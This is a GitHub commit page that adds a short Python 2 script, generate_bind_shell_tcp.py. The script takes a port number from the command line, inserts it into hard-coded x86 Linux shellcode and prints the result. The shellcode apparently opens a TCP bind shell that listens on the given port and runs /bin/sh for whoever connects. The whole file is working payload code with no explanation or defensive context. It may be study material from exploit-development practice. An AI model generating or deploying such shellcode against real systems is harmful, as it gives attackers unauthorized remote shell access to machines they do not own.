Skip to content

Commit

Permalink
Create generate_bind_shell_tcp.py
Browse files Browse the repository at this point in the history
  • Loading branch information
kphongagsorn authored Dec 23, 2017
1 parent 8df33dc commit 2c2a85d
Showing 1 changed file with 17 additions and 0 deletions.
17 changes: 17 additions & 0 deletions generate_bind_shell_tcp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
#!/usr/bin/python

import socket
import sys
import struct

port = int(sys.argv[1])


port = format(port, '04x')
port = "\\x" + str(port[0:2]) + "\\x" + str(port[2:4])

sc = \
"\\x6a\\x66\\x58\\x99\\x31\\xdb\\x43\\x52\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\x6a\\x66\\x58\\x43\\x52\\x66\\x68"+port+"\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\x43\\x43\\x53\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\x43\\x52\\x52\\x56\\x89\\xe1\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb0\\x3f\\xcd\\x80\\x41\\x80\\xf9\\x04\\x75\\xf6\\xb0\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xcd\\x80"

print "Shellcode:"
print sc

0 comments on commit 2c2a85d

Please sign in to comment.